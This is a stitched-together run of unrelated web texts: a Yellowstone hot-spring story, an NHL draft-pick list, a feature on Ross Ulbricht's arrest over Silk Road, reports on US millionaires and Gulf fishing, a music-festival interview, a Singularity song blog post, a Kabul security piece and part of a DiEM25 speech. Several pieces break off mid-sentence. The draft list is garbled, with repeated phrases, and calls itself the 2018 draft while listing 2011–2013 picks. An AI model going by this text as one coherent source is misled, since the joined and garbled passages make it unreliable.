tracks for alleged violation of the model code of conduct by travelling in a long cavalcade
and causing a chemical reaction 1966: How the hot spring looked 45 years ago before the chemical reaction took place While still an extraordinary spectacle, the reason for this change is less alluring. Tourists have for decades been throwing coins into the pool for luck. Unfortunately, these have blocked the pool's heat vents and reduced its temperature. At the same time, chemicals from the coins have caused a reaction that has caused several bacteria to grow. These have slowly worked its way to the water's edge, creating the predominantly yellow ring around the pure blue centre which has turned green as a result. The algae is photosynthetic, thermophilic bacteria that can survive temperatures ranging from 64C to 107C. Fading glory: Water that was once a crystal-clear blue is now a murky green Bacteria has slowly worked its way to the water's edge, creating the yellow ring around the pure blue centre which has turned green as a result IT consultant Arun Yenumula, 30, took the top photograph of the Morning Glory Pool in Yellowstone National Park while on holiday with his wife. He said: 'I had heard about the pool from friends and when I saw it I thought it was simply unbelievable. 'Each colour represents a different type of heat-seeking algae. 'An information board next to the pool called it "fading glory" because people threw rocks, stones, bottles and cans blocking the heat vents at the bottom, resulting in cooling the pool. 'The bacteria which thrive in real hot water started to die and the colours were fading. I felt really sad about the fact and how humans are destroying nature's beauty with their mindless acts.' Mr Yenumula, from Seattle, Washington, added: 'Morning Glory is the most beautiful pool at Yellowstone National Park. 'It is unique and has a more diverse range of colours than anywhere else.' Reaction: The algae is photosynthetic, thermophilic bacteria that can survive temperatures from 64C to 107C Big draw: The pool attracts thousands of tourists from around the world every yearThis is the list of drafting teams for the 2018 NHL Draft, which will be held on June 22 and 23 in Dallas TX at the American Airlines Center. 2 Acquired from Colorado with round 2 pick in the 2012 draft ( Acquired from Colorado with round 2 pick in the 2012 draft ( Mike Winther ) for Semyon Varlamov 3 Acquired from Calgary for round 1 pick in the 2012 draft ( Acquired from Calgary for round 1 pick in the 2012 draft ( Mark Jankowski ) and round 2 pick in the 2012 draft ( Patrick Sieloff ). 5 Acquired from Buffalo with round 2 pick in the 2012 draft ( Acquired from Buffalo with round 2 pick in the 2012 draft ( Patrick Sieloff ) for round 1 pick in the 2012 draft ( Zemgus Girgensons ). Pick previously acquired by Buffalo from Nashville for Paul Gaustad and round 4 pick in the 2013 draft ( Juuse Saros ). 7 Acquired from Buffalo with round 1 pick in the 2012 draft ( Acquired from Buffalo with round 1 pick in the 2012 draft ( Mark Jankowski ) for round 1 pick in the 2012 draft ( Zemgus Girgensons ). 11 Acquired from San Jose for Acquired from San Jose for Ian White 17 Acquired from Los Angeles with round 6 pick in the 2011 draft for round 3 pick in the 2011 draft. Pick previously acquired by Los Angeles from Toronto for round 3 pick in the 2010 draft ( Acquired from Los Angeles with round 6 pick in the 2011 draft for round 3 pick in the 2011 draft. Pick previously acquired by Los Angeles from Toronto for round 3 pick in the 2010 draft ( Sondre Olden ). 18 Acquired from Anaheim for Acquired from Anaheim for Brad Winchester 19 Acquired from Florida with round 2 pick in the 2012 draft ( Acquired from Florida with round 2 pick in the 2012 draft ( Brian Hart ) for rights to Kris Versteeg. Pick previously acquired by Florida from San Jose with round 2 pick in the 2011 draft for round 2 pick in the 2011 draft. 21 Acquired from Nashville with round 1 pick in the 2011 draft ( Acquired from Nashville with round 1 pick in the 2011 draft ( Stefan Noesen ) for Mike Fisher 23 Acquired from NY Rangers for round 3 pick in the 2013 draft ( Acquired from NY Rangers for round 3 pick in the 2013 draft ( Adam Tambellini ). 25 Acquired from Columbus for Acquired from Columbus for Mark Letestu 27 Acquired from Toronto for Acquired from Toronto for Dave Steckel 29 Acquired from Colorado for Acquired from Colorado for Daniel Winnik 30 Acquired from Buffalo for Acquired from Buffalo for Christian Ehrhoff 32 Acquired from Chicago for round 7 pick in the 2012 draft ( Acquired from Chicago for round 7 pick in the 2012 draft ( Brandon Whitney ) and round 4 pick in the 2013 draft ( Robin Norell ). 33 Acquired from Boston for Acquired from Boston for Joe Corvo 35 Acquired from Phoenix for Acquired from Phoenix for Cal O'Reilly 36 Acquired from New Jersey with Acquired from New Jersey with Joe Sova for Alexei Ponikarovsky 37 Acquired from Columbus for Acquired from Columbus for James Wisniewski 40 Acquired from Tampa Bay with Acquired from Tampa Bay with Michel Ouellet for rights to Benoit Pouliot 41 Acquired from Calgary for Acquired from Calgary for Pierre-Luc Letourneau-Leblond 42 Acquired from Nashville for round 5 pick in the 2013 draft ( Acquired from Nashville for round 5 pick in the 2013 draft ( Teemu Kivihalme ). 44 Acquired from NY Rangers for Acquired from NY Rangers for John Scott 45 Acquired from Anaheim for round 6 pick in the 2011 draft. Acquired from Anaheim for round 6 pick in the 2011 draft. 47 Acquired from Philadelphia with Acquired from Philadelphia with Stefan Legein for future considerations. 48 Acquired from NY Rangers for round 6 pick in the 2011 draft. Acquired from NY Rangers for round 6 pick in the 2011 draft. 49 Acquired from Los Angeles for round 7 pick in the 2013 draft ( Acquired from Los Angeles for round 7 pick in the 2013 draft ( Dominik Kubalik ). Pick previously acquired by Los Angeles from Edmonton with Colin Fraser for Ryan Smyth 52 Acquired from San Jose with round 4 pick in the 2013 draft ( Acquired from San Jose with round 4 pick in the 2013 draft ( Robin Norell ) for round 4 pick in the 2012 draft ( Christophe Lalancette ). Pick previously acquired by San Jose from Tampa Bay with Dominic Moore for round 2 pick in the 2012 draft ( Pontus Aberg ). 53 Acquired from Dallas for round 7 pick in the 2013 draft ( Acquired from Dallas for round 7 pick in the 2013 draft ( Aleksi Makela ). 54 Acquired from Calgary for Acquired from Calgary for Keith Seabrook 56 Acquired from Pittsburgh for Acquired from Pittsburgh for Tomas Vokoun 57 Acquired from Chicago for Acquired from Chicago for Steve Montador. Pick previously acquired by Chicago from Florida for Tomas KopeckyGoogle+ On a bright Tuesday afternoon at around 3.15pm, a handful of plain-clothed FBI agents climbed the stone stairs of Glen Park Library, an unobtrusive building on Diamond Street in San Francisco. They entered the library in staggered succession, gradually making their way towards its far corner: the science fiction section. There, sitting at one of the faux-wooden tables, was a pale young man with dark hair, jeans and T-shirt. He was on his laptop, chatting with someone online. Staff had not recognised the slim man with wide-set eyes, but then people often came here to use the free public Wi-Fi. Once they opened their laptops they would see a window pop up, offering unfiltered content on the condition they avoided browsing illegal content "out of respect" for fellow library users. It seems the young man wasn't complying. His name was Ross Ulbricht, a 29-year-old former physics and engineering student from Austin, Texas. Many men of his background were in this same city to launch a technology startup or two, but the FBI believed Ulbricht was into something far darker: manning a vast, black market for online drugs and other illegal goods known as Silk Road. He was, they believed, a millionaire drugs kingpin who had twice ordered someone killed to protect his empire. There was a crash that sounded like someone had fallen onto the hard, tiled floor, library staff later remembered. Poking their heads around the shelves, they found the young Ulbricht pressed up against the window by what seemed to be several other library patrons. It looked like a fight, at first. "We're the FBI," his assailants said, adding that everything was under control. Soon Ulbricht was in handcuffs, and chatting to several agents who blockaded him into a corner of the library, according to another witness who posted her account online. The agents walked him out of the library, two of them returning not long after in blue FBI jackets to do a sweep of the area where Ulbricht had been sitting. They found nothing. The person Ulbricht had been chatting to online, according to an FBI complaint, had been a cooperating witness in their investigation. This was the result of more than a year of dogged cyber sleuthing and old-fashioned detective work, and news of the arrest broke the following day, 2 October 2013. Police claimed that Ulbricht had been running Silk Road since 2011, and for the last year had done so from his home in San Francisco as well as a nearby cafe. He had operated under the name Dread Pirate Roberts, a character in the film The Princess Bride that referred to a mythical persona shared between several people. They charged him with drugs trafficking, money laundering and attempted murder. The FBI agent who led the team investigating Ulbricht, Christopher Tarbell, had also been responsible for the 2011 sting in New York on Hector "Sabu" Monsegur, leader of the notorious LulzSec hacker group. "He's a very big deal," says one lawyer who has dealt indirectly with Tarbell. "He does most, if not all of these cases," said another source with knowledge of the investigation. By Thursday the FBI had shut down Silk Road. Anyone who attempted to access the site saw a large digital poster saying it had been seized by authorities. Police also took possession of a digital wallet allegedly belonging to Ulbricht containing thousands of Bitcoins, the anonymous, crypto-currency used throughout the Silk Road market. To date it is reportedly worth $34.5m, and it's thought that more of the Dread Pirate's takings are still at large online. They claimed Ulbricht was making $20,000 a day on sales commissions, amassing a total of $80m, much of which was reportedly going back into maintaining Silk Road operations. The whole Silk Road enterprise had reportedly seen $1.2bn in sales in its existence, and nearly one million anonymous customers, making it perhaps the world's biggest online marketplace for drugs. Chillingly, the FBI indictments also claimed Ulbricht had ordered two hits against people whom he thought might expose his clients, one against an "employee" of Silk Road in January 2013 and then against someone, who was in fact an undercover agent, threatening to leak names of his clientele. In the first hit, police say Ulbricht offered $40,000 for the job, and asked for "proof of death" in the form of a video. Police staged photos of the death, and when Ulbricht saw them stated that he was "a little disturbed, but I'm OK". "I'm new to this kind of thing, is all," he added. "I don't think I've done the wrong thing." After the arrest, photos of Ulbricht's smiling face were soon scraped from his profiles on Facebook and LinkedIn, and posted on hundreds of websites, blogs and Twitter. On Thursday morning, another young San Francisco resident picked up a copy of the Examiner newspaper and was startled to see Ulbricht on the front page. He took a photo with his phone and texted it to his housemate. "Funny," he said. "Looks kinda like our sub-letter." "Not looks like," his friend replied. "Is." He sent back a link to a news article, and the descriptions of a Texas University physics grad who had worked as a "foreign currency trader." "Holy shit." The two men, who named themselves only as Drew and Brandon in an interview with Forbes, had been living in the house where Ulbricht was renting a room for $1,200 a month on 15th Avenue, in San Francisco's West Portal suburb. They explained that Ulbricht had applied for a room on Craigslist, identifying himself as "Josh", a Texas man who was "good-natured and clean/tidy." He had no mobile phone and chose to pay in cash. The housemates weren't suspicious because "Josh" had just moved from Sydney, Australia. Brandon ended up living with Ulbricht for two months and said the man "seemed like a normal guy". He was friendly and polite, had few possessions - primarily his laptop and a few changes of clothes - and spent most of his time in the master bedroom, on his computer, engaging in what he claimed was currency trading. The one oddity they noticed: "Josh" liked to walk around without a shirt. He reportedly almost never went out, spending America's 4th of July holiday at home, and cooking steak dinners for one. For all the money he allegedly made, Ulbricht seemed to have spent very little of it at all. Ulbricht had family back in Austin, but housemates said he had cut off ties with friends. His grandmother, when she first heard about his arrest, seemed nonplussed by the whole affair. She told Forbes that Ulbricht was "good with computers". His half-brother, Travis, called him "an exceptionally bright and smart kid". A close friend and former housemate, Rene Pinnell, told the Verge that police had messed up. "I'm sure it's not him." No one close to Ulbricht seemed to believe the low-key, young scientist was the notorious "pirate" behind Silk Road. Ulbricht's alleged, dreamlike world as the internet's Dread Pirate Roberts would have been the antithesis of the real world around him. Drug dealing was nothing new in San Francisco. A few miles north of West Portal, in front of the larger San Francisco Public Library, more than a dozen of the city's homeless are wandering a grassy square or lying like planks under thin blankets. In broad daylight and directly in front of the library, a homeless man in a wheelchair hands a pair of $20 bills to another, receiving a small package in exchange. "See you later, asshole," the drug dealer says smirking, as his customer secrets the package into a thick, yellow coat. Screenshot Such transactions are commonplace in San Francisco and the Silk Road was meant to be their alternative: a place where anyone who wanted drugs could buy them without associating with underhanded dealers or entering dangerous alleyways. In the US where laws over the use of cannabis or possession of class-A drugs can be wildly different between states, it also made it easier to hide from the law. And buying drugs from a real-world dealer meant you could never be sure if the product was good quality. On the Silk Road, you could get anything from "red joker ecstasy pills" to LSD and check the reviews and star-ratings of each dealer left by previous customers, as you might on eBay or Amazon. There were 10,000 products for sale in the spring of 2013, 70% of which were drugs. But there were also 159 listings for "services," most of which were for hacking into social network accounts like Twitter or Facebook, and more than 800 listings for digital goods such as pirated content, or hacked Amazon and Netflix accounts, according to the FBI indictment. Fake drivers' licences, fake passports, fake utility bills and fake credit card statements. Everything was here, facilitated by the Silk Road. Customers felt safe because they accessed the site via Tor, an anonymising network that up until recently was a reliable way to mask their tracks, even from the police. You never paid with credit cards or PayPal on Silk Road. The only acceptable currency was Bitcoin, an encrypted digital currency that couldn't be traced, with no government or bank behind it. The currency was regulated by a network of computers, and represented by a long string of numbers. While there are other sites that sell drugs, the Silk Road's user friendly interface and third-party payment system made it more popular than others. Many customers also chimed with the Dread Pirate's libertarian principles, which he wrote about on Silk Road's forums. In the last two years the Silk Road's Dread Pirate had given a handful of press interviews, unusual given his insistence on staying anonymous. In a 2011 interview with Gawker gaming site Kokatu, he said his views stemmed from the anarcho-libertarian philosophy of agorism. "Stop funding the state with your tax dollars and direct your productive energies into the black market," he said. Then in 2013 the Dread Pirate told Forbes in an interview that Silk Road's "core" role was "a way to get around regulation from the state". He even hinted that Silk Road might head in the direction of selling weapons. "Firearms and ammunition are becoming more regulated and controlled in many parts of the world," he said. Ulbricht was a strong libertarian, a member of the Libertarians Group while studying at Penn State University and identified in his school paper as a supporter of US presidential candidate Ron Paul. The one blog post he published on his Facebook profile was titled "Thoughts on Freedom," a philosophical exposition of his libertarian ideas. He posted it on 5 July 2010, just after America's Independence Day; exactly three years before he would be holed up indoors in San Francisco. In one way, Ulbricht's alleged work chimed with a prevailing belief among technologists in Silicon Valley that the right algorithm, the right software, can spark social change. It is hard to walk down a street in California's Bay Area without passing a startup founder who claims he or she can fix the American health system, or education, or use a GPS location tracking to predict crime, with some sort of app. Companies such as Airbnb have completely upended industries and their founders, like Ulbricht, are hackers at heart. They subvert not just lines of software code but entire systems of thought and economic structure. Ulbricht was taking this and the internet's anti-hierarchical tendencies further, embracing the libertarian notion that private morality was not the state's affairs, particularly in the case of activities such as drug use or prostitution. Many observers were shocked at the news that Ulbricht had chosen to live and operate in San Francisco when he could have been hiding out in Iceland or Latin America, and that he had given lengthy interviews to journalists. "When you start giving interviews like the CEO of an established company, it's just wrong," says Pavel Durov, another 29-year-old technologist who recently visited San Francisco and had been following the story of the Dread Pirate. Stringer/Reuters Speaking over a cup of camomile tea at a five-star hotel on Market Street, Durov is the successful head of another, rather more legal online network, called VK.com. Called the Facebook of Russia, VK gets more than 50 million monthly users, and as any successful businessman in St Petersburg might, Durov has had his own brushes with the Russian law. Such experiences have helped reinforce his own strong libertarian views. "I believe the role of the government is too big," he says. "Society must be more decentralised." But Durov also doesn't care for the Dread Pirate's apparent thirst for notoriety. "If you're involved in something like that and everybody ignores you, the officials ignore you and you ignore the officials, it's OK. It's like you don't exist." Ulbricht seems to have cared more about making an impact than in maintaining complete anonymity. He reportedly took pains to keep himself anonymous, going online through Tor and only communicating through the Silk Road chat system. "The highest levels of government are hunting me," he told Forbes. "I can't take any chances." Yet in fact he took plenty of chances. In one of the first postings about Silk Road on other online drugs forums, in January 2011, a commenter said: "Has anyone seen Silk Road yet? It's kind of like an anonymous amazon.com." The posting linked to the site's Tor address and a blogpost with instructions. The poster, nicknamed, "altoid" deleted their comment, but someone else copied and pasted it onto another forum. Then "altoid" made a careless mistake: he posted on another online forum of Bitcoin users, asking people to contact rossulbricht@gmail.com. In July, Ulbricht was visited at his home by customs and immigrations officials who had intercepted a package of counterfeit IDs from Canada, all with different names but with photos of Ulbricht's face. The agents didn't arrest him even though, in another bizarre display of recklessness, Ulbricht mentioned that anyone could "hypothetically" go into a website called Silk Road and buy fake ID documents there. Police carried out further online investigations and discovered six online servers, through which they could observe the buyers and sellers of Silk Road making their Bitcoin transactions. The FBI has said in court papers that it has accessed months' worth of sales history from Silk Road, giving them new information on the site's dealers. The UK's National Crime Agency says more arrests are on the way. Before they arrested Ulbricht, the FBI had taken one of the Silk Road's top dealers into custody in July - then flipped him. Steve Sadler of Seattle, who was known as "Nod" on Silk Road, reportedly sold heroin, cocaine and crystal meth on the site, but ended up working with agents for several months to help track down their biggest target, the Dread Pirate himself. Ulbricht has denied his involvement in Silk Road, or that he was ever its administrator, but the prospect of a dragnet operation to bring in other dealers following his arrest will still make any of the nearly 960,000 registered users with the site - 30% of whom were in the US and Brits being the second biggest contingent - very nervous. Another online drugs bazaar, called Atlantis, shut down in September, while there were reports that Black Market Reloaded, another, would shut down too, although that hasn't happened. Police will probably continue to tighten the noose on more black markets. "The best way to change a government is to change the minds of the governed," Ulbricht had said on his LinkedIn page, where he described himself as an entrepreneur. "I am creating an economic simulation to give people a first-hand experience of what it would be like to live in a world without the systemic use of force." The "economic stimulation" came to fruition with Silk Road, but in the end the very hierarchy he seemed to fight against caught up with him, handcuffs in tow. Parmy Olson is a technology writer for Forbes magazine in San Francisco. She is the author of We Are Anonymous (Little Brown, 2012) This article originally appeared on guardian.co.ukBryan Bedder/Getty About one out of every 20 Americans is a millionaire. No, that's not a typo. Credit Suisse released its annual Global Wealth Report, which found that the United States had about 15,356,000 millionaires in 2017 — which adds up to nearly 5% of the total US population. The number of millionaires climbed by about 1.1 million from the previous year. (We first spotted this at Money.) The US also has the greatest number of millionaires in the world — accounting for about 43% of the world's total — and currently leads all countries in churning out the greatest number of new millionaires. On top of that, the US houses the greatest number of ultra-high-net-worth individuals (UHNWI), those who have a net worth of $50 million or more. Having a seven-figure net worth — or more — means different things in different parts of the United States. In less expensive states like Mississippi or Alabama, $1 million goes a lot farther than in more expensive states like New York or California. The report attributes the ninth consecutive year of rising wealth to stocks, saying that business and market conditions strengthened because of the prospect of lower taxes, deregulation, and fiscal stimulus, all of which were proposed by President Donald Trump. The average wealth in the United States has "fully recovered," after collapsing during the financial crisis, and is now about 30% higher than its 2006 level, Credit Suisse said. We should note, however, that the bounce back in average wealth does not necessarily mean that every American has seen their finances recover to pre-financial crisis levels. Millionaires around the world Looking at the global picture, the number of millionaires in the world has jumped by 170% and the number of UHNWIs has risen five-fold since 2000. In its analysis of the global picture, the Credit Suisse team also touched on an interesting idea, arguing that "increasing inequality can also boost the speed at which new millionaires are created." That brings us back to the US, which not only has a large and increasing number of millionaires, but also a huge inequality problem. In fact, the top 0.1% of households in the US now hold about the same amount of wealth as the bottom 90%. "To understand what's going on in 'the economy,' it is a serious mistake to look at average statistics," Ray Dalio, the founder of Bridgewater Associates, said in a LinkedIn post last month. "This is because the wealth and income skews are so great that average statistics no longer reflect the conditions of the average man."Stephanie Gary and Carrie Neumayer are one-half of the Louisville-based post-punk band Julie of the Wolves. They’re also co-organizers of the upcoming Louisville Outskirts Festival, a non-profit volunteer-run weekend celebrating music made by female-identified artists. The inaugural Outskirts Fest is planned for October of this year. In addition to lots of live music, the event will include music workshops for girls and exhibit space for women business owners, artists and makers and social justice organizations. Outskirts Festival will hold its first fundraiser show Thursday, April 10, at The New Vintage, featuring Screaming Females, Debauchees and Julie of the Wolves (it’s an all-ages event). WFPL’s Erin Keane sat down with Gary and Neumayer to talk about why Louisville is finally ready for a women’s music festival and how they want the event to challenge assumptions about what it means to be a female musician. Why a female-oriented music festival in Louisville, and why now? Neumayer: The idea was Stephanie’s. We had been setting up some different shows around town with a lot of female-fronted bands and we realized how fun it was, and we decided to put together a festival. Gary: It was something I thought about for a long time. I played in a band called Venus Trap for about ten years, and we talked about it some during that time, just kind of fantasized about it. As I got older, the landscape in Louisville has really changed to accommodate more female musicians than I think I’ve ever seen before in this city, and we talked about that and what a great time it is to present this. What’s different about Louisville’s music landscape now? Why has it changed? Neumayer: I’m not sure why. I just remember when I grew up and went to shows around town, there were maybe two or three women I’d see playing, and that was really inspiring. As the years have gone on, more women have gotten involved and that’s very encouraging. But I’m not sure why. Gary: It seems like there’s a younger generation of women coming up and there are a lot of great bands that are happening with those women. Your mission statement says “The Outskirts Festival aims to demonstrate that female musicians are complex and multifaceted artists.” That’s still a thing you have to say, isn’t it? Gary: I was at least cognizant of that when I was starting, that I had to prove myself at every show. Going into music stores was sort of nerve-wracking, and being a female musician, in general, in the beginning was scary new territory for me, and I felt like I was maybe alone in that territory because I didn’t have a lot of role models. And once we started playing, I think people maybe expected one thing when they got to a show, and the way we wrote songs and the way we performed was different from what they’d seen on television. We weren’t pop stars, we didn’t show up in a way that (said) we were trying to sell sex. We were just there to make unique, good music. I think that’s something that’s still happening, a lot of female musicians are categorized into a “sex sells” box. Local music is helping show that there’s a lot more out there than what’s on television. Neumayer: We want to break stereotypes about what women’s music is. There’s not one sound, there’s not one style. There are women doing all sorts of interesting things and we want to show a variety. I think a lot of people who remember the Nineties hear “women’s music festival” and they think Lilith Fair, Sarah McLachlan, that specific sound. Neumayer: (Laughs.) Yeah, that’s not what this is. You don’t have a line-up yet, but can you share the artistic vision for the festival? Gary: The fundraiser we have coming up no April 10 is a good indication of one section of music we’d like to explore. We have a nationally-touring band, Screaming Females, they’re going to be headlining that night. They’re a really raw, power, kind of-punk threesome. That’s something you’ll be able to see at this festival. We’ve also looked into a couple of artists locally who are doing experimental things. Carrie was just at a First Ladies of Hip Hop show at The New Vintage the other night. Neumayer: We’re trying to have a diverse lineup in terms of style and types of music. We’re learning a lot. We want to make it very inclusive. People hear “music festival” and they want to be there for the shows. But you have education and community building as pillars of the festival, too. Would you see those three as being equally important to the event? Neumayer: That’s a good question. I’d say the focus is on the performances, but we are very excited about the workshops and community building. My hope is that (the festival) will grow and we can do more with the educational components. We’re planning on having workshops during the afternoons for girls ages 10-18 where they can learn different instruments and learn from female musicians. We’ll see how that goes, and hopefully grow that component in other ways, too. We’re hoping to have booth spaces available for different organizations or female-owned businesses so they can network with each other and with people who come to the festival. Gary: We’ve already started reaching out for volunteers, and we’ve had several people who are involved in community organizing and small-business owners have offered their participation already. That’s going to be part of the way we reach out to the community. What will a success look like for the festival’s inaugural year? Gary: A success for us would be to see people of all genders, all ages, coming to the shows and enjoying the performances. Having ten to fifteen girls in each workshop, and having several booths, having each aspect of the festival come to fruition and hearing people enjoy themselves and coming away with a new band they’d never heard of to enjoy. Neumayer: Or maybe the girls in the workshops will start new bands and we’ll hear about those and invite them to next year’s festival. Do you see this as becoming a national destination, or is it more of a local and regional event? Gary: We are seeking out national and international acts for the festival. We hope it becomes well-known on a national scale.Oh YouTube, you have so many precious gems hidden among your piles of social excrement that it takes me years to find some of the best ones to share. Today’s retro hit is from the ancient era of 2007. The Writer’s Guild in Hollywood had gone on strike, China launched its first lunar probe, and Charlie Kam‘s “I am the Very Model of a Singularitarian” hit #1 on the dance charts. No, not really. Rihanna’s “Umbrella” was still dominating, but Kam’s song is infinitely more related to this blog than efforts to romantically share meteorological defenses. “I am the Very Model of a Singularitarian” is a catchy parody of Ray Kurzweil’s description of the Technological Singularity in his book The Singularity is Near set to the tune of “I am the Very Model of a Modern Major General”. Charlie Kam, who is one of the forces behind the LifeBoat Foundation, SIAI, and other future-minded institutions, sings the song himself. Check out the playful ditty in the video below. Funny and accurate? Color me impressed, Mr. Kam. I was forced to memorize “I am the Very Model of a Modern Major General” in eighth grade, so I may have a skewed opinion of this video….but c’mon, you have do admit that was pretty cool! We don’t get a lot of visual art or music dedicated to the concept of the Singularity, and here’s both rolled into one. Charlie Kam’s parody song may be a touch irreverent, but there’s little doubt that he has high hopes for the possibilities of the future. Judging by his YouTube hits (and there are several versions available online) Kam’s song hasn’t exactly rocked the mainstream world, but I hope that fun little productions like this one can help spread some awareness for the topic. Even if it doesn’t, it’s still a good laugh for all of us in the know. [screen capture and video credits: Charlie Kam via kjgrumbs](CNN) -- The federal government has reopened 4,281 square miles of federal waters off the coast of western Louisiana to commercial and recreational fishing, according to Jane Lubchenco, head of the National Oceanic and Atmospheric Administration. The region being reopened represents 7.4 percent of the total area in the Gulf of Mexico that had been closed off prior to Friday. More than 48,000 square miles of federal waters -- roughly 20 percent of the total federal waters in the Gulf -- remain closed to fishermen. At its height, the fishing ban resulting from the April 20 BP oil rig explosion stretched over 88,000 square miles, or 37 percent of federal Gulf waters, Lubchenco noted. The western Louisiana waters represent the third area in the Gulf to be reopened to fishing. A region off the Florida peninsula was reopened on July 22, and another area off the Florida panhandle was reopened on August 10, according to Lubchenco. Officials are "nibbling at the edges" in terms of reopening the Gulf waters after extensive testing, Lubchenco said, starting with areas that were the least contaminated. "We feel completely confident that the (Gulf) seafood that is in the market now is safe for human consumption," she told reporters. But we will "continue to investigate the longer-term impacts this spill may have had." Lubchenco said that in order for an area of the Gulf to be reopened, no oil can be present or expected to be present in the forseeable future. Water samples taken from the area must pass both a sensory and chemical analysis. She also stated that the NOAA -- in conjunction with the Environmental Protection Agency -- will continue to test seafood from reopened areas of the Gulf. In a separate announcement, Louisiana officials stated that a project to monitor shrimp trawling vessels in St. Bernard Parish waters would conclude on Friday. The project began on August 12. "We've encountered dozens of shrimp vessels at work in St. Bernard Parish," said Jeff Dauzat, an environmental scientist with the Louisiana Department of Environmental Quality. "All vessels encountered... have been inspected and no indications of oil have been noted on nets or in the catch." The federal and state announcements came roughly three weeks after BP plugged its crippled Macondo oil well in the Gulf with cement and mud from above. Crews are currently "fishing" for pieces of drill pipe that need to be removed from inside the well's blowout preventer before crews can move on to the "bottom kill" -- the permanent fix for the well. Thad Allen, the man in charge of the government response to the Gulf oil crisis, said Wednesday that the "fishing" operations had been delayed by a buildup of hydrates -- chemicals that form at low temperatures and high pressures toward the sea floor -- that temporarily jammed the cap that trapped oil in the well starting on July 15. Crews, however, have now flushed the system to loosen the cap, thereby allowing them to begin "fishing" through the top of the well again.Today, after the Taliban resurgence and the growth of banditry, it is starting to look as dangerous as Baghdad at its worst. Any foreigner arriving for the first time will be given hair-raising warnings about the risks of kidnapping, armed robbery and terrorist attack. Many have armed bodyguards assigned at all times and new businesses specialise in selling technical gadgets that can track an individual's every move by GPS in case of abduction. Where there's risk, there's profit. Aid workers who could wander the city's bazaars at will in 2005 are now banned from leaving their hotels, which look like fortresses with razor wire and Kalashnikov-toting guards at the entrances. The threat is real and, many think, worsening: six international aid workers have been killed so far this year in Afghanistan, and two Britons have died in the capital in the last week alone. The Taliban is not the only danger – although they carry out the worst attacks, like the deadly suicide bombing of the showpiece Serena Hotel last January. Like elsewhere in Afghanistan, Kabul is lawless. Admittedly there have never been so many police on the streets, and helicopters circling the skies above. New blast barriers and machine-gun posts seem to sprout almost weekly. But
a struggling New York couple's trip to the North African desert. The bar, defined by a Moroccan theme, mimics the novel's plot by presenting itself as an "urban escape" of sorts. Music, Music, and More Music There are live tunes every once in a while, but the space's music epicenter is its DJ booth. The Lobby Bar Before heading upstairs to the rooftop bar, grab a drink in the hotel lobby. The recently rebranded McCarren Hotel & Pool (formerly known as Hotel Williamsburg, and now under the umbrella of the Chelsea Hotels) is the ideal place to kick things off.This post is also available in: Spanish, French, Italian, German, Portuguese, Greek Last year, I came to La Fete with a message from Greece. The Athens Spring had just been crushed by the Troika because Europe’s Establishment was planning to bring the Troika to Paris. Since then, the Troika has come to Paris. Labour Laws have been passed by Presidential decree. Civil liberties have been diminished. And the magnificent people of Paris responded with Nuit Debout. Yes, it’s true, Greece was the laboratory of misanthropy. And France must be the battleground where misanthropy is defeated. Why are we here? We are here because we are humanists in an age of misanthropy. We are here because the French are asphyxiating. The Greeks are asphyxiating. The Austrians, the Germans, the Spanish, the Portuguese are asphyxiating. All of Europe is asphyxiating. We are here because our people are asphyxiating in a Europe that is disintegrating. And our people will go on asphyxiating as long as Europe is disintegrating. And Europe will go on disintegrating as long as our people are asphyxiating. So, we are here to stop the asphyxiation of our people, to stop the disintegration of Europe. A disintegration that feeds the beast of our era’s Great Deflation which, as in the 1930s, breeds xenophobia, racism, and nationalism. We are here to minimise the human cost from the idiotic handling of this Europe’s inevitable crisis. It is only this that brings us here: An Urge. A Duty: To minimise the cost of human suffering. Our task is simple: Our duty is to do whatever it takes for people’s faces to lose their worry lines. Let’s have no illusions. We are faced with determined, well-organised adversaries who do not put the good of humanity first. Who want only one thing: business as usual and a world that allows them to make endless amounts of money using the rest of humanity as a tool for doing so. They are not persuaded by rational argument. They are not sensitive to ethical example. They loathe democracy. They know they can intimidate a large majority of humanity. But in their arrogance, like a stupid virus, their business as usual is destroying the organism they depend on. Their business-as-usual is responsible for Europe’s disintegration. Their business-as-usual is responsible for planet Earth’s slow ecological death. Their business-as-usual is responsible for the fear and the hatred that is becoming again, like in the 1930s, the dominant political force on this planet. So, this is why we are here. DiEM25, the movement that began with the crushing of the Athens Spring, before spreading all over Europe, is here. We are here determined to pay any price, bear any burden, oppose any enemy of humanity’s hopes. We are here to defend the French ideals of liberty, fraternity and equality and add to them hope,rationality, diversity, tolerance and, of course, democracy. But, we must not be complacent. We must not fall in love with ourselves. We are nowhere near success. We are in the middle of capitalism’s worst crisis since 1929. And yet the forces of progress, the Left, genuine liberals, Greens, are defeated everywhere. The defeat of our Athens Spring was globally significant. Podemos has lost momentum in Spain. The misanthropic Right is rising everywhere. New electrified fences are popping up across the continent. Hope’s candle is trembling in the cold wind of nationalism. In 2017, unless we perform a miracle, France will have a President even more reactionary than the sad Mr Hollande. Why is this? Why have Europeans not turned to Progressives at the time of crisis? My answer: It is OUR fault. It is the fault of the Progressives, of the Left, of democrats, liberals and Greens alike. Think about it: As capitalism is going through a major spasm, the Right is becoming passionate, vibrating with an anti-Establishment fervour that was, until recently, the preserve of the Left. Trump turns against TTIP, British Tories and Hungary’s Orban against the EU’s antidemocratic practices, Le Pen in defence of a working class abandoned by a failing euro and an absent Left. Politics is undergoing a shake-up that the world has not seen since the 1930s. A Great Deflation is now gripping both sides of the Atlantic, re-kindling political forces that had been dormant for eight decades. Passion is returning to politics – but not in the way we had hoped. Passion is now fuelling misanthropy. And it is ourjob to stop this. It is our job to harness passion for the benefit of humanism. To do this we must first understand what is happening. Yes, the Left versus Right, labour versus capital distinction, is always relevant. BUT, Europe is now split into two blocs that have nothing to do with Left or Right. One bloc represents the old Troika of globalization, financialization and neoliberalism. It is still in power, although its power is fading fast – as Francois Hollande, Angela Merkel, and David Cameron can confirm. The post-surrender Greek government, who are now serving the same Troika, can confirm this too. The European Commission. They are in office, but they are losing their power and legitimacy. The other bloc, opposing the Global Troika of globalization, financialization and neoliberalism, is what I call theNationalist International. Britain’s Brexiters, Poland’s and Hungary’s governments, the Alternativ für Deutschland, the despicable crypto-fascist that may become Austria’s next president and, of course, Marine Le Pen – a Wall of Xenophobic Nationalism is rising up against the global Troika riding on the coat-tails of our Great Deflation. The trouble with the clash between the Global Troika and the Nationalist International is that it is both real and misleading. Brexit showed that it is real. Yet it is misleading because the Global Troika and the Nationalist International are accomplices, not enemies. The Global Troika and the Nationalist International are just reflections of our Great Deflation – of the deep crisis of European capitalism. To break this Unholy Alliance, we need a Progressive Internationalism. It is this Progressive International that 